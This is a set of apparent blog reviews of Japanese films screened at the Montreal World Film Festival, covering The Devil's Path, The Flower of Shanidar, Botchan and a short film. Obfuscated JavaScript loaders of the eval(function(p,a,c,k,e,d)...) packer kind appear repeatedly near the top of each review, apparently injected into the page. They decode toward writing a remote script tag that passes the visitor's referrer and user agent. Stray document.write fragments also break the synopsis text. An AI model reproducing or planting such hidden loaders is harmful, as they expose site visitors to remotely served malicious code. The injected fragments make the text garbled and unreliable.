WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bysre|var|u0026u|referrer|bdsbn||js|php’.split(‘|’),0,{}))

“Journalist Shuichi Fujii receives a letter from convicted killer Junji Sudo. Writing from death row, document.write(“”); Sudo wants to confess to crimes unknown to the police. Visiting Sudo in prison, Fujii learns about “Doc” who masterminded a string of murders. Set up by Doc, Sudo seeks revenge and implores Fujii to find the evidence needed to arrest his former boss. Working from Sudo’s sketchy memories, Fujii begins to piece together a grizzly tale of extortion, torture, rape, and arson. But as his desire to see Doc brought to justice nears a climax, he runs into resistance from unexpected sources.” (Festival’s Program)

This investigative journalism movie is based on a true story that was first published in Shinchosha‘s Shinch? 45 [lit. “mass market 45”] monthly magazine. That magazine started in 1982 as a health and living magazine for the 45+ years-old, but evolved first into a biographical magazine in 1985 and then, in 2001, into a crime stories, scandals & gossips magazine aimed at a female readership in their 30s and 40s, to finally become a general interest magazine in 2008. The whole story was republished as a nonfiction novel titled ??????????????[Kyoaku: Aru Shikeishuu no Kokuhatsu / lit. “Heinous: Accusation of a condemned”], written by the editorial staff of the magazine (Tokyo, Shinchosha, october 2009. 386 pages, ? 580, ISBN 978-4101239187). Of course, the movie is a fictionalized adaptation, so some names and events might have been changed.

Fujii is a reporter at the Shinch? 45 magazine. He is asked by his editor to investigate a letter received by the magazine from a death-row inmate. He goes to prison and interview the inmate, a gangster named Sudo who wants to confess of three murders that the police don’t even know about. Having converted to christianism in prison, he wants to atone for his crimes and give his victims peace by telling the truth about those unknown murders. He also wants revenge against his former boss, who’s the mastermind behind the murders. He feels its unfair that he is on death-row and his boss has not even been accused of anything. Since his boss has abandoned him and tricked him into killing his trusted right-hand man, he also feels betrayed. The boss is simply known as “Doc” [Sensei] or, as he commits murder to profit from land speculation and insurance fraud, the “death alchemist” (because he transform people’s death into gold). However, Fujii’s editor don’t think that such ordinary crimes would interest their readership and orders him to move to another investigation.

Even if he is skeptical that a death-row inmate would tell the truth, Fujii doesn’t want to let go of his investigation just yet. He visits the crime scenes, interviews all possible suspects and witnesses and soon realizes that Sudo’s confession is genuine! He even finds out Doc’s identity: he is named Kimura [actually Sudo and Kimura real names are Goto Ryoji and Mikami Shizuo]. It is a difficult investigation, because Kimura covered his tracks well and there’s little evidences. He succeeds to convince his editor to publish the story. Eventually the police starts investigating, makes accusations and put Kimura to trial.

The movie offers us three different stories: Fujii’s investigation, the unfolding of events as told by Sudo, but also the personnal toll that the investigation takes on Fujii and his family. He is so obsessed with the investigation that he neglect his wife and she eventually asks for divorce. However, what’s the message that director Kazuya Shiraishi want to tell us? Does he simply want to us to be aware of this rather trivial true crime story? Does he want to emphasize the human drama behind such ordinary news item? It’s not clear. To tell the truth this movie is a rather typical and quite ordinary journalistic crime investigation movie. The acting is good, the story itself is intriguing and interesting, but the storytelling and even the photography are quite dull. So, once again, a rather average movie for this year’s festival (and again Japanese movies don’t seems to attrack much attention since this 350-seat theatre had only a 15% occupancy for this showing).

Kyoaku ( ?? / lit. “hainous” / The Devil’s Path ): Japan, 2013, 128 min.; Dir.: Kazuya Shiraishi; Scr.: Kazuya Shiraishi & Izumi Takahashi (based on a non-fiction novel); Phot.: Takahiro Imai; Ed.: Hitomi Kato; Mus.: Goro Yasukawa; Cast: Takayuki Yamada (Shuichi Fujii), Lily Franky (“Doc” aka Kimura), Chizuru Ikewaki, Pierre Taki (Junji Sudo). Film screened at the Montreal World Film Festival August 25th, 2013 (Cinema Quartier Latin 9, 16h20) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
The Devil’s Path © 2013 “The Devil’s Path” Film Partners.

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WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyeat|var|u0026u|referrer|fsikr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkbfe|var|u0026u|referrer|ttyrn||js|php’.split(‘|’),0,{}))

“The “shanidar flower” only grows on certain women. Mysterious buds germinate on their skin and then bloom into beautiful flowers whose extracts lead to a new miracle drug at the “Shanidar Laboratory”. Kyoko and Ohtaki work at the lab, document.write(“”); and are always on the lookout for new donors, but not all women are cooperative. That’s when Kyoko’s charm comes into play. Meanwhile, abnormal side effects begin to appear stemming from the flower-removal surgery. Harvesting these flowers may be triggering something dangerous.” (Festival’s Program)

The movie opens on a commentary that explains how flowers are responsible for the extinction of dinosaurs because plants developed them as a defence mechanism (I am not sure this make sense). Kyoko joins the scientific team of Shanidar Laboratory under the supervision of Dr. Yoshizaki and his assistant Dr. Otaki. Her role is to help recruit study subjects and care for them (mostly psychologically).

It is not explained why the flower grows on women or why some women and not others. Are the flowers implanted? If not why bothering searching for candidates? It’s not made clear. Maybe flowers are usually removed upon discovery unless the candidate accepts to bring it to term for an handsome rewards. The story follows three candidates: Yurie, Miku and Haruka. The movie spends lots of time showing us how the flowers are taken care of and developing the candidates character. The flowers always grow on the chest (near the heart?) and are wrapped in a protective cushion and a hard container with screwing top so its growth can be regularly monitored. Candidates live in a sanatorium-type environment with simple but futuristic Ikea-like living quarters.

Unfortunately, flowers seem to have adverse effects on the candidates. First, it seems to affect their mind and then develop a growing bond with them as they mature. It looks like most women die of cardiac arrest after the flower is removed, but if it’s not removed when the flower bloom, it is said that it releases a toxin that kills the host. Eventually, the three candidates we follow become unstable: Yurie’s flower withers a little when Dr. Otaki rejects her advances, Miku freaks out and starts ripping out other candidate’s flowers, and Haruka rips out her own flower to give it to Miku. This incident leads to the eventual shut down of the project.

The movie could have ended there, but then Kyoko is having an affair with Dr. Otaki. She reveals to him that a flower is budding on her too. Fearing for her safety he cuts it in her sleep, but she wanted it to bloom and seeds, so she leaves him. Otaki goes back to his botanical research. Later he learns that Kyoko’s flower grew back and gave seeds, causing her to fall into a coma. He finds shanidar flowers growing all over the city now. It is then revealed that they are a parasitic species possibly responsible for the extinction of dinosaurs and Neanderthal. They will probably destroy all human civilization and bring us to evolve into plants!

That’s quite a weird science-fiction movie. Is there an allegory or a metaphor hiding in there? Some new-age cautionary tale about genetically modified plants and evil pharmaceutical companies? I am really not sure of what director Gakuryu Ishii wanted to tell us. The poetic story is interesting, but lacks focus and develops way too slowly (really, I almost fell asleep many times). The acting is barely average, but the sets are nice (despite the low budget) and the photography (with a lovely imagery that sometimes border the psychedelic) as well as the music (cool electric guitar) are also quite nice. Even if the deficient writing is compensated by nice visuals, it remains a rather average movie. (It didn’t attract much interest since the 150-seat theatre was only 20% filled)

One interesting point is that the movie (and the name of the flower) is inspired by a real fact mentioned in the movie: an archaeological excavation campaign undertaken in the Shanidar Cave (Northern Irak) between 1957 and 1961 led to the discovery of ten skeletons of Neanderthals. The find of pollen in one of them, indicating that flowers had been buried with the body, was considered evidence of burial ritual. However, recent studies seems to suggest that the pollen was a later contaminant (possibly brought by animals).

Shanidar no hana ( ???????? / The Flower of Shanidar ): Japan, 2013, 105 min.; Dir.: Gakuryu Ishii; Scr.: Hiroaki Jinno, Gakuryu Ishii, Tomofumi Tanaka; Phot.: Yoshiyuki Matsumoto; Mus.: Michiaki Katsumoto; Cast: Gou Ayano (Kenji Otaki), Haru Kuroki (Kyoko), Kanji Furutachi (Yoshizaki), Ayumi Ito (Yurie), Rio Yamashita (Miku), Yuiko Kariya (Haruka). Film screened at the Montreal World Film Festival August 23th, 2013 (Cinema Quartier Latin 15, 16h40) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
The Flower of Shanidar © 2012 “The Flower of Shanidar” production committee.

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WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tabre|var|u0026u|referrer|hntat||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndnsf|var|u0026u|referrer|hyyni||js|php’.split(‘|’),0,{}))

“Tomoyuki Kaji, document.write(“”); 28, is socially inept and thoroughly lacking in self-confidence. “If you die, are you happy then?” he asks on the Internet. An employment agency sends him to work at a factory in Nagano where he meets Tanaka, a co-worker who suffers from narcolepsy. “To the stars, we’re all alike,” he muses, and the pair become fast friends. This is new territory for Kaji, and he is exhilarated. Out for a drive one night, they meet Yuri, a young girl who has fled the clutches of their co-worker, Okada. Charmed by Yuri, they attempt to protect her. But this isn’t as simple as they imagine…” (Festival’s Program)

Tomoyuki Kaji is a loner, socially inept and quite a shy guy. He moved from Tokyo to Nagano to work in a car-parts’ factory. He receives his orientation at the same time than another new arrival, Okada, who’s a bold, arrogant young man. Both go to eat together afterward and at the restaurant they meet Tanaka, another factory worker who’s also quite socially inept and suffers from narcolepsy when he’s emotional. Okada leaves them to go out with a woman (he’s got what Kaji calls “mojo”, i.e. success with women), so Kaji and Tanaka, realizing they are quite similar, become friends. They are both bullied by their co-workers, including Okada, who turns out to be a serial rapist and murderer. When he meets the sister of the speed ice-skater he first killed because he was jealous of his performance, he turns his attention to her, but she escapes and is helped by Kaji and Tanaka who are having an outing in the countryside. However, when Yuri show her preference for Tanaka, Kaji feels betrayed and abandoned. After all, maybe he has more affinity with Okada? Feeling despair, he goes to Akihabara with the intent of running people over with his car and stabbing many with a huge knife…

Why is the movie titled “Botchan” when it has apparently nothing to do with S?seki’s novel of the same name? The only similarity I can see is that S?seki recount with humour his experience of being a teacher transferred from Tokyo to Matsuyama (on Shikoku island), while the movie tells us about the tribulation of Kaji moving to work in Nagano. The central issue of the novel is about morality, while the movie’s theme is more about loneliness and despair (and if it’s a comedy, it’s a twisted and sick one!).

I feel that there has been a lot of Japanese movies lately about socially inept people, like the so-called hikikomori (withdrawn) and dokuo (socially inept young men). Is it because it’s a problem that is particularly on the mind of the Japanese in the recent years? Or is it the expression of the accumulation of collective despair due to the Great Eastern Earthquake and tsunami, years of economic hardship, failure of the japanese dream, and a national psychological profile made of a facade (the need for social conformity creates lots of emotional repression) that is starting to crack at the seams? There’s lots of bottled-up emotions in those Japanese! And the tendency to ostracize those who start to buckle under the pressure (avoiding social contacts or sticking out as different and weird) only makes this problem worse, as it alienates them even more. Sometimes pushing them over the edge…

It is very difficult to understand this movie if you don’t have basic notions of Japanese society, culture and history. In the end, the movie makes a vague reference to what is known as the “Akihabara massacre” (see reports about this in BBC News, Japan Probe, The Washington Post and The Yomiuri Shimbun). The movie doesn’t explain anything and assume the viewers already know about it (clearly indicating that it was not intended for a foreign audience). On June 8, 2008, Tomohiro Kat? (25 year-old) drove his two-ton rented truck into the Akihabara crowd, killing three people, then got out of the truck and started stabbing people with a dagger, killing four more and injuring at least ten.

Clearly, the movie is trying to answer the question: “what could have pushed a man to commit such a terrible thing?” There are indeed many similarities between Kaji (in the movie) and Kat?, who was an unpopular loner and looser from Aomori, working temporarily in an auto parts factory in Susono City (Shizuoka-ken), often posting messages with his phone on a web site, and who got upset when some co-workers had hidden his work clothes. He reportedly told the police that he was “tired of life”. Of course, the movie is set in a different place and Kaji drove a mini-van, not a two-ton truck. Not much is known on the motivation of the real killer. Although the movie is offering interesting speculations, I seriously doubt that it really happened that way.

So, I understand that the movie is trying to explain the Akihabara massacre, putting the blame of the murderer’s social inaptitude on the pressure of society, but many aspects of the movie still doesn’t make sense! Like: why, while everybody is being chased by Okada, no one think of calling the police? Maybe the director wanted to parallel the fact that, despite Kat? posting his intentions on the internet, nobody tried to stop him. Was anyone listening?

I feel that this movie is more a reenactment documentary than entertainment. It is weird and pointless. With all the angst and screaming, it is quite painful to watch. It attracted little attention (40 viewers in a theatre of about 150 seats, that’s an occupancy of 26%) and a couple of people left before the end. It’s an interesting subject of reflection, for TV maybe, but not an entertaining movie to watch in a theatre.

Botchan ( ????? / Bozo ): Japan, 2013, 130 min.; Dir.: Tatsushi Omori; Scr.: Tatsushi Omori & Hidemori Tsuchiya; Mus.: Yoshihide Ohtomo; Phot.: Atsuhiko Fukaya; Ed.: Ryô Hayano; Art Dir.: Michitoshi Kurokawa; Prod.: Takahiko Kondo, Shinichiro Muraoka; Cast: Shingo Mizusawa, Shohei Uno, Yasushi Fuchikami, Ai Tamura, Shinsuke Suzuki, Masashi Endo, Emiko Imaizumi, Kagetora Miura, Jyo Hyuga. Film screened at the Montreal World Film Festival August 23th, 2013 (Cinema Quartier Latin 12, 13h30) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:

Botchan © Apache Inc.

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WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfhyb|var|u0026u|referrer|aniyn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abbin|var|u0026u|referrer|zzanb||js|php’.split(‘|’),0,{}))

“In a world of black and white, document.write(“”); ore dug from the cave is shedding colored light. Mikuro, identifying himself as the “Black Fox” bandit appears in front of the white-haired boy Kohaku who is captured in the back of a cave by a gang of thieves. Mikuro who collects the ore shedding “colored” light, says proudly that he has a “dream” to fulfill in this world of black and white. “It’s decided! From now on you will be my little brother.” Kohaku has lost hope for life after his parents were murdered, but he is forced to be Mikuro’s little brother and together they start running towards the world out of the cave.” (from the movie Press Book)

A young boy with white hair is from a race that can make rocks glow in a very colourful manner. This ability is feared in a world where all colour has disappeared, leaving only black and white, and therefore members of this race are persecuted. White Fox is captured and held in a cave, but he is saved by Black Fox who as vowed to restore colour to the world. He sees White Fox as the only one left who could do it. They escape to the surface and join Black Fox’s sister who is almost blind, but can see only colour. She is the reason why Black Fox wants to bring back colour and makes his sister see again.

This is a nice short movie that feels a lot like a student movie. However, it was planned as a pilot for a full-lenght feature film. Because of his young age, Kiyoshi Endo had trouble to find support for his fantasy adventure feature film, “B/W Foxes and the Rainbow Crystal”. And then the Great East Japan Earthquake occurred, paralyzing most of the movie industry in Japan. After doing some volunteering in the area affected by the tsunami, he decide to at least produced this short prelude. It was shot in five days, under conditions of heavy snow fall, in the northeast: Abukuma-Dou in Yamamoto-cho (Miyagi prefecture) and Tamura City in Tohoku district (Fukushima Prefecture).

Action and stunt scenes could have been better, but considering this is a very low budget movie, it is quite acceptable. The actor playing White Fox had lots of hesitation in his acting, but that also is to be expected considering his young age (even if he had previous acting experience). The special effects are not too bad, so all in all it is a nice and cute story. (And it is surprising I could say that much about such a short movie).

B/W Foxes and the Cave of Light (?????????? / Shirokuro gitsune to hikari no d?kutsu): Japan, 2012, 15 min.; Dir./Scr./Ed./Prod.: Kiyoshi Endo; Phot: Ricky Shinoda, Misako Toki, Misato Ichiki; Ass. Dir.: Noriyasu Takizawa, Fumiya Hayashi; Sound: Mari Aoki; Makeup & Styling: Ayaka Sato; SFX Makeup: Kanako Kitaochi; Cost.: Keko Saito, Asaki Asano; Music: Kenji Oh; CGI VXF: Tomoaki Nakano; Cast: Takuma Wada (Black Fox Mikuro), Sanshiro Yoshioka (White-haired boy Kohaku), Rinka Uzawa (Kureha), Yuichi Uchida (Fraun), Keisuke Niimi (bandit), Keijiro Matsushima (bandit). Short Film opening for Boku no Naka no Otoko no ko, screened at the Montreal World Film Festival August 31th, 2012 (Cinema Quartier Latin 15).
For more information you can visit the following websites:
B/W Foxes and the Cave of Light © 2012 Kiyoshi Endo Studio.

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